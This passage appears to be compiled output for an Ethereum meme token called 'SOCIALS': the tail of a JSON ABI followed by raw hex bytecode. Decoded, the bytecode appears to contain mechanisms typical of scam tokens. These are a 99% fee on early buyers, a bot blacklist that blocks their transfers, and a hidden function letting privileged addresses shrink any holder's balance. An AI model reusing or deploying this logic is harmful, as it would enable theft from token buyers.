,"outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForMoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000601f8190556020556021805463ffffffff1916620101001790553480156200002d57600080fd5b506040518060400160405280601781526020017f456c6f6e4d61726b5a68616e67506176656c4a61736f6e00000000000000000081525060405180604001604052806007815260200166534f4349414c5360c81b8152508160029081620000959190620006c4565b506003620000a48282620006c4565b5050506000620000b96200032860201b60201c565b600580546001600160a01b0319166001600160a01b0383169081179091556040519192509060009060008051602062003eb7833981519152908290a3506000600f819055601081905560016011819055601282905560148290556015829055601655601755336b09b18ab5df7180b6b800000060646200013b826002620007a6565b620001479190620007c6565b6024556127106200015a826005620007a6565b620001669190620007c6565b601e55606462000178826002620007a6565b620001849190620007c6565b602555606462000196826002620007a6565b620001a29190620007c6565b602655601254601154601054600f54620001bd9190620007e9565b620001c99190620007e9565b620001d59190620007e9565b600e55601754601654601554601454620001f09190620007e9565b620001fc9190620007e9565b620002089190620007e9565b601355601c80546001600160a01b031990811673987f7928a9a58c6645544df4b622499721d2dd7a17909155601d8054909116733ab1d61a3019a9ae43a33cf49b503f97e158f54d179055620002603060016200032c565b6200026f61dead60016200032c565b6200027c8260016200032c565b601d5462000295906001600160a01b031660016200032c565b601c54620002ae906001600160a01b031660016200032c565b620002bb3060016200038f565b620002ca61dead60016200038f565b620002d78260016200038f565b601d54620002f0906001600160a01b031660016200038f565b601c5462000309906001600160a01b031660016200038f565b62000314826200043d565b6200032030826200053a565b5050620007ff565b3390565b6001600160a01b0382166000818152600c6020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6005546001600160a01b03163314620003de5760405162461bcd60e51b8152602060048201819052602482015260008051602062003e9783398151915260448201526064015b60405180910390fd5b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314620004885760405162461bcd60e51b8152602060048201819052602482015260008051602062003e978339815191526044820152606401620003d5565b6001600160a01b038116620004ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620003d5565b6005546040516001600160a01b0380841692169060008051602062003eb783398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038216620005925760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620003d5565b8060046000828254620005a69190620007e9565b90915550506001600160a01b03821660009081526001602052604081208054839290620005d5908490620007e9565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200064a57607f821691505b6020821081036200066b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006bf57600081815260208120601f850160051c810160208610156200069a5750805b601f850160051c820191505b81811015620006bb57828155600101620006a6565b5050505b505050565b81516001600160401b03811115620006e057620006e06200061f565b620006f881620006f1845462000635565b8462000671565b602080601f831160018114620007305760008415620007175750858301515b600019600386901b1c1916600185901b178555620006bb565b600085815260208120601f198616915b82811015620007615788860151825594840194600190910190840162000740565b5085821015620007805787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620007c057620007c062000790565b92915050565b600082620007e457634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620007c057620007c062000790565b613688806200080f6000396000f3fe6080604052600436106103bc5760003560e01c806381bfdcca116101f2578063bbc0c7421161010d578063d4384318116100a0578063e611bfdb1161006f578063e611bfdb14610a90578063e884f26014610aa6578063f2fde38b14610abb578063fd35d1d614610adb57600080fd5b8063d438431814610a0a578063dd62ed3e14610a20578063dff85be914610a64578063e2f4560514610a7a57600080fd5b8063c876d0b9116100dc578063c876d0b91461099e578063c9420f87146109be578063cd51e6d4146109de578063d0a39814146109f457600080fd5b8063bbc0c7421461091d578063bd8d82111461093e578063c02466681461095e578063c5b45ec01461097e57600080fd5b8063a457c2d711610185578063abe43b1b11610154578063abe43b1b146108ba578063ad9b8fff146108d1578063b9e93700146108e7578063bb85c6d1146108fd57600080fd5b8063a457c2d714610844578063a599c25714610864578063a9059cbb14610884578063aa4bde28146108a457600080fd5b80638da5cb5b116101c15780638da5cb5b146107db57806395d89b41146107f95780639a7a23d61461080e5780639fccce321461082e57600080fd5b806381bfdcca14610787578063868f0a74146107a757806388e765ff146107bd5780638a8c523c146107d357600080fd5b806343776499116102e25780636ddd171311610275578063737952e611610244578063737952e614610726578063751039fc1461073c5780637571336a1461075157806376c702bf1461077157600080fd5b80636ddd1713146106a75780636eb490cf146106c157806370a08231146106f1578063715018a61461071157600080fd5b80635b322205116102b15780635b3222051461062e57806366d602ae1461064e578063674ed2e4146106645780636b0a894c1461069157600080fd5b806343776499146105a957806349bd5a5e146105bf5780634a62bb65146105df57806359d24b8e146105fe57600080fd5b80631b260e941161035a578063313ce56711610329578063313ce567146105425780633430a6671461055e57806339509351146105745780633ccfd60b1461059457600080fd5b80631b260e94146104cc5780631d5cd545146104ec5780631f3fed8f1461050c57806323b872dd1461052257600080fd5b80630ff5741d116103965780630ff5741d146104455780631694505e1461046957806318160ddd146104a15780631a8145bb146104b657600080fd5b806306fdde03146103c8578063095ea7b3146103f357806309d6bf0a1461042357600080fd5b366103c357005b600080fd5b3480156103d457600080fd5b506103dd610af1565b6040516103ea91906131d7565b60405180910390f35b3480156103ff57600080fd5b5061041361040e36600461323d565b610b83565b60405190151581526020016103ea565b34801561042f57600080fd5b5061044361043e366004613269565b610b9a565b005b34801561045157600080fd5b5061045b60225481565b6040519081526020016103ea565b34801561047557600080fd5b50600754610489906001600160a01b031681565b6040516001600160a01b0390911681526020016103ea565b3480156104ad57600080fd5b5060045461045b565b3480156104c257600080fd5b5061045b601b5481565b3480156104d857600080fd5b506104436104e7366004613282565b610cee565b3480156104f857600080fd5b50610443610507366004613269565b610d91565b34801561051857600080fd5b5061045b601a5481565b34801561052e57600080fd5b5061041361053d3660046132b4565b610e9e565b34801561054e57600080fd5b50604051601281526020016103ea565b34801561056a57600080fd5b5061045b60155481565b34801561058057600080fd5b5061041361058f36600461323d565b610f48565b3480156105a057600080fd5b50610443610f82565b3480156105b557600080fd5b5061045b600f5481565b3480156105cb57600080fd5b50600654610489906001600160a01b031681565b3480156105eb57600080fd5b5060215461041390610100900460ff1681565b34801561060a57600080fd5b506104136106193660046132f5565b60096020526000908152604090205460ff1681565b34801561063a57600080fd5b50610443610649366004613269565b610fee565b34801561065a57600080fd5b5061045b60255481565b34801561067057600080fd5b5061045b61067f3660046132f5565b60086020526000908152604090205481565b34801561069d57600080fd5b5061045b60235481565b3480156106b357600080fd5b506021546104139060ff1681565b3480156106cd57600080fd5b506104136106dc3660046132f5565b600b6020526000908152604090205460ff1681565b3480156106fd57600080fd5b5061045b61070c3660046132f5565b6110f5565b34801561071d57600080fd5b50610443611110565b34801561073257600080fd5b5061045b60165481565b34801561074857600080fd5b50610443611184565b34801561075d57600080fd5b5061044361076c366004613320565b6111eb565b34801561077d57600080fd5b5061045b60115481565b34801561079357600080fd5b506104436107a2366004613269565b6112b3565b3480156107b357600080fd5b5061045b60145481565b3480156107c957600080fd5b5061045b60265481565b6104436113bc565b3480156107e757600080fd5b506005546001600160a01b0316610489565b34801561080557600080fd5b506103dd611766565b34801561081a57600080fd5b50610443610829366004613320565b611775565b34801561083a57600080fd5b5061045b60185481565b34801561085057600080fd5b5061041361085f36600461323d565b611869565b34801561087057600080fd5b5061044361087f366004613359565b611900565b34801561089057600080fd5b5061041361089f36600461323d565b61193e565b3480156108b057600080fd5b5061045b60245481565b3480156108c657600080fd5b50601f544310610413565b3480156108dd57600080fd5b5061045b60195481565b3480156108f357600080fd5b5061045b600e5481565b34801561090957600080fd5b506104436109183660046132f5565b61194b565b34801561092957600080fd5b50602154610413906301000000900460ff1681565b34801561094a57600080fd5b506104436109593660046132f5565b6119f9565b34801561096a57600080fd5b50610443610979366004613320565b611a9b565b34801561098a57600080fd5b506104436109993660046132f5565b611b24565b3480156109aa57600080fd5b506021546104139062010000900460ff1681565b3480156109ca57600080fd5b506104436109d9366004613282565b611b6f565b3480156109ea57600080fd5b5061045b60205481565b348015610a0057600080fd5b5061045b60135481565b348015610a1657600080fd5b5061045b60175481565b348015610a2c57600080fd5b5061045b610a3b36600461338e565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b348015610a7057600080fd5b5061045b60105481565b348015610a8657600080fd5b5061045b601e5481565b348015610a9c57600080fd5b5061045b601f5481565b348015610ab257600080fd5b50610443611c0f565b348015610ac757600080fd5b50610443610ad63660046132f5565b611c47565b348015610ae757600080fd5b5061045b60125481565b606060028054610b00906133bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2c906133bc565b8015610b795780601f10610b4e57610100808354040283529160200191610b79565b820191906000526020600020905b815481529060010190602001808311610b5c57829003601f168201915b5050505050905090565b6000610b90338484611d32565b5060015b92915050565b6005546001600160a01b03163314610bcd5760405162461bcd60e51b8152600401610bc4906133f6565b60405180910390fd5b6103e8610bd960045490565b610be4906001613441565b610bee9190613458565b811115610c5a5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610bc4565b620186a0610c6760045490565b610c72906001613441565b610c7c9190613458565b811015610ce95760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610bc4565b601e55565b6005546001600160a01b03163314610d185760405162461bcd60e51b8152600401610bc4906133f6565b600f8490556010839055601182905560128190558082610d38858761347a565b610d42919061347a565b610d4c919061347a565b600e81905560031015610d8b5760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610bc4565b50505050565b6005546001600160a01b03163314610dbb5760405162461bcd60e51b8152600401610bc4906133f6565b670de0b6b3a76400006103e8610dd060045490565b610ddb906002613441565b610de59190613458565b610def9190613458565b811015610e505760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610bc4565b610e6281670de0b6b3a7640000613441565b60268190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6000610eab848484611e55565b6001600160a01b03841660009081526020818152604080832033845290915290205482811015610f2e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610bc4565b610f3b8533858403611d32565b60019150505b9392505050565b336000818152602081815260408083206001600160a01b03871684529091528120549091610b90918590610f7d90869061347a565b611d32565b6005546001600160a01b03163314610fac5760405162461bcd60e51b8152600401610bc4906133f6565b604051600090339047908381818185875af1925050503d8060008114610d8b576040519150601f19603f3d011682016040523d82523d6000602084013e610d8b565b6005546001600160a01b031633146110185760405162461bcd60e51b8152600401610bc4906133f6565b670de0b6b3a76400006103e861102d60045490565b611038906002613441565b6110429190613458565b61104c9190613458565b8110156110ae5760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610bc4565b6110c081670de0b6b3a7640000613441565b60258190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e93565b6001600160a01b031660009081526001602052604090205490565b6005546001600160a01b0316331461113a5760405162461bcd60e51b8152600401610bc4906133f6565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b031633146111ae5760405162461bcd60e51b8152600401610bc4906133f6565b6004546024556004546026556004546025556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146112155760405162461bcd60e51b8152600401610bc4906133f6565b80611288576006546001600160a01b03908116908316036112885760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610bc4565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146112dd5760405162461bcd60e51b8152600401610bc4906133f6565b670de0b6b3a76400006103e86112f260045490565b6112fd906003613441565b6113079190613458565b6113119190613458565b8110156113755760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610bc4565b61138781670de0b6b3a7640000613441565b60248190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e93565b6005546001600160a01b031633146113e65760405162461bcd60e51b8152600401610bc4906133f6565b6021546301000000900460ff16156114405760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610bc4565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155611478903090610f7d60045490565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef919061348d565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611551573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611575919061348d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156115c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e6919061348d565b600680546001600160a01b0319166001600160a01b03929092169182179055611610906001612a84565b6007546001600160a01b031663f305d719343061162c816110f5565b6000806116416005546001600160a01b031690565b426040518863ffffffff1660e01b8152600401611663969594939291906134aa565b60606040518083038185885af1158015611681573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116a691906134e5565b505060065460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156116ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117239190613513565b50602180544360205563ff0000ff191663010000011790556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060038054610b00906133bc565b6005546001600160a01b0316331461179f5760405162461bcd60e51b8152600401610bc4906133f6565b6006546001600160a01b03908116908316036118235760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610bc4565b61182d8282612a84565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b336000908152602081815260408083206001600160a01b0386168452909152812054828110156118e95760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610bc4565b6118f63385858403611d32565b5060019392505050565b61190b838383612ab2565b1561193957601d805460ff60a01b1916600160a01b17905561192b612b51565b601d805460ff60a01b191690555b505050565b6000610b90338484611e55565b6005546001600160a01b031633146119755760405162461bcd60e51b8152600401610bc4906133f6565b6001600160a01b0381166119d75760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610bc4565b601c80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611a235760405162461bcd60e51b8152600401610bc4906133f6565b6001600160a01b038116611a795760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610bc4565b601d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611ac55760405162461bcd60e51b8152600401610bc4906133f6565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314611b4e5760405162461bcd60e51b8152600401610bc4906133f6565b6001600160a01b03166000908152600960205260409020805460ff19169055565b6005546001600160a01b03163314611b995760405162461bcd60e51b8152600401610bc4906133f6565b60148490556015839055601682905560178190558082611bb9858761347a565b611bc3919061347a565b611bcd919061347a565b601381905560031015610d8b5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610bc4565b6005546001600160a01b03163314611c395760405162461bcd60e51b8152600401610bc4906133f6565b6021805462ff000019169055565b6005546001600160a01b03163314611c715760405162461bcd60e51b8152600401610bc4906133f6565b6001600160a01b038116611cd65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610bc4565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611d945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610bc4565b6001600160a01b038216611df55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610bc4565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316611e7b5760405162461bcd60e51b8152600401610bc490613530565b6001600160a01b038216611ea15760405162461bcd60e51b8152600401610bc490613575565b60008111611ef15760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610bc4565b6000611efc836110f5565b6001600160a01b0384166000908152600860205260409020546021549115925015906301000000900460ff16611fb0576001600160a01b0385166000908152600d602052604090205460ff1680611f6b57506001600160a01b0384166000908152600d602052604090205460ff165b611fb05760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610bc4565b6001600160a01b0385166000908152600b6020526040902054601f54429160ff169015612079576001600160a01b03871660009081526009602052604090205460ff16158061200c57506005546001600160a01b038781169116145b8061202157506001600160a01b03861661dead145b6120795760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610bc4565b602154610100900460ff161561251c57601d5460ff600160a01b90910416156120aa6005546001600160a01b031690565b6001600160a01b0316886001600160a01b0316141580156120d957506005546001600160a01b03888116911614155b80156120ed57506001600160a01b03871615155b801561210457506001600160a01b03871661dead14155b801561212957506001600160a01b0388166000908152600d602052604090205460ff16155b801561214e57506001600160a01b0387166000908152600d602052604090205460ff16155b156122b95760215462010000900460ff16156122b957601d546001600160a01b03808a166000908152600b602052604090205460075460ff600160a01b909404841615939190911615918a81169116148015906121b957506006546001600160a01b038a8116911614155b1561227c576121c96002436135b8565b326000908152600a602052604090205410801561220757506121ec6002436135b8565b6001600160a01b038a166000908152600a6020526040902054105b6122535760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610bc4565b326000908152600a602052604080822043908190556001600160a01b038c1683529120556122b6565b8080156122865750815b156122b6576001600160a01b038a166000908152600860205260409020546022548111806122b357600080fd5b50505b50505b6001600160a01b0388166000908152600d6020908152604080832054600b9092529091205460ff9182169116801561230a57506001600160a01b0388166000908152600c602052604090205460ff16155b156123d6576026548711156123725760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610bc4565b60245461237e896110f5565b612388908961347a565b11156123d15760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610bc4565b612519565b8080156123e05750815b156123ef576022849055612519565b6001600160a01b0388166000908152600b602052604090205460ff16801561243057506001600160a01b0389166000908152600c602052604090205460ff16155b1561249a576025548711156123d15760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610bc4565b6001600160a01b0388166000908152600c602052604090205460ff16612519576024546124c6896110f5565b6124d0908961347a565b11156125195760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610bc4565b50505b6000612527306110f5565b601e5490915081108015908190612540575060215460ff165b80156125565750601d54600160a01b900460ff16155b801561257b57506001600160a01b0389166000908152600b602052604090205460ff16155b80156125a057506001600160a01b0389166000908152600d602052604090205460ff16155b80156125c557506001600160a01b0388166000908152600d602052604090205460ff16155b156125f357601d805460ff60a01b1916600160a01b1790556125e5612b51565b601d805460ff60a01b191690555b60018580156125ff5750835b80156126085750865b15612629576001600160a01b03891660009081526008602052604090208590555b6001600160a01b038a166000908152600d602052604090205460ff168061266857506001600160a01b0389166000908152600d602052604090205460ff165b15612671575060005b60008115612a6c57601f54431080156126a257506001600160a01b038b166000908152600b602052604090205460ff165b80156126c757506001600160a01b038a166000908152600b602052604090205460ff16155b80156126d557506000600e54115b15612855576001600160a01b038a1660009081526009602052604090205460ff16612775576001600160a01b038a166000908152600960205260408120805460ff19166001908117909155602380549192909161273390849061347a565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646127828a6063613441565b61278c9190613458565b9050600e54600f548261279f9190613441565b6127a99190613458565b601860008282546127ba919061347a565b9091555050600e546010546127cf9083613441565b6127d99190613458565b601960008282546127ea919061347a565b9091555050600e546012546127ff9083613441565b6128099190613458565b601b600082825461281a919061347a565b9091555050600e5460115461282f9083613441565b6128399190613458565b601a600082825461284a919061347a565b90915550612a4e9050565b6001600160a01b038a166000908152600b602052604090205460ff16801561287f57506000601354115b156129415760646013548a6128949190613441565b61289e9190613458565b9050601354601454826128b19190613441565b6128bb9190613458565b601860008282546128cc919061347a565b90915550506013546015546128e19083613441565b6128eb9190613458565b601960008282546128fc919061347a565b90915550506013546017546129119083613441565b61291b9190613458565b601b600082825461292c919061347a565b909155505060135460165461282f9083613441565b6001600160a01b038b166000908152600b602052604090205460ff16801561296b57506000600e54115b15612a4e576064600e548a6129809190613441565b61298a9190613458565b9050600e54600f548261299d9190613441565b6129a79190613458565b601860008282546129b8919061347a565b9091555050600e546010546129cd9083613441565b6129d79190613458565b601960008282546129e8919061347a565b9091555050600e546012546129fd9083613441565b612a079190613458565b601b6000828254612a18919061347a565b9091555050600e54601154612a2d9083613441565b612a379190613458565b601a6000828254612a48919061347a565b90915550505b8015612a5f57612a5f8b3083612d59565b612a69818a6135b8565b98505b612a778b8b8b612d59565b5050505050505050505050565b6001600160a01b0382166000908152600b60205260409020805460ff191682151517905561182d8282612eae565b336000818152600d602052604081205490919060ff16823082612b1a576000601954612add836110f5565b10159050600080601954119050808015612af45750815b15612b0557612b0586601954612f11565b505060006019555060019350610f4192505050565b86158015612b3057602287905560009250612b44565b6022879055612b3f8989612f11565b600092505b8295505050505050610f41565b6000601954118015612b6d5750601954612b6a306110f5565b10155b15612b7e57612b7e30601954612f11565b60006019819055601854601a54601b54612b98919061347a565b612ba2919061347a565b90506000612baf306110f5565b9050801580612bbc575081155b15612bc5575050565b601e54612bd390600a613441565b811115612beb57601e54612be890600a613441565b90505b6000600283601b5484612bfe9190613441565b612c089190613458565b612c129190613458565b9050612c26612c2182846135b8565b612fdc565b601b5447908190600090612c3c90600290613458565b612c4690876135b8565b601854612c539085613441565b612c5d9190613458565b905060006002601b54612c709190613458565b612c7a90886135b8565b601a54612c879086613441565b612c919190613458565b9050612c9d828261347a565b612ca790846135b8565b600060188190556019819055601b819055601a5592508415801590612ccc5750600083115b15612cdb57612cdb8584613136565b601d546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015612d15573d6000803e3d6000fd5b50601c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612d4f573d6000803e3d6000fd5b5050505050505050565b6001600160a01b038316612d7f5760405162461bcd60e51b8152600401610bc490613530565b6001600160a01b038216612da55760405162461bcd60e51b8152600401610bc490613575565b6001600160a01b03831660009081526001602052604090205481811015612e1d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610bc4565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290612e5490849061347a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ea091815260200190565b60405180910390a350505050565b6001600160a01b0382166000818152600c6020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b038216612f415760405162461bcd60e51b81526020600482015260006024820152604401610bc4565b6001600160a01b03821660009081526001602052604090205481811015612f845760405162461bcd60e51b81526020600482015260006024820152604401610bc4565b6001600160a01b03831660008181526001602090815260408083208686039055600480548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611e48565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110613011576130116135cb565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561306a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061308e919061348d565b816001815181106130a1576130a16135cb565b6001600160a01b0392831660209182029290920101526007546130c79130911684611d32565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906131009085906000908690309042906004016135e1565b600060405180830381600087803b15801561311a57600080fd5b505af115801561312e573d6000803e3d6000fd5b505050505050565b60075461314e9030906001600160a01b031684611d32565b60075460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061318d9030908790600090819061dead9042906004016134aa565b60606040518083038185885af11580156131ab573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131d091906134e5565b5050505050565b600060208083528351808285015260005b81811015613204578581018301518582016040015282016131e8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461323a57600080fd5b50565b6000806040838503121561325057600080fd5b823561325b81613225565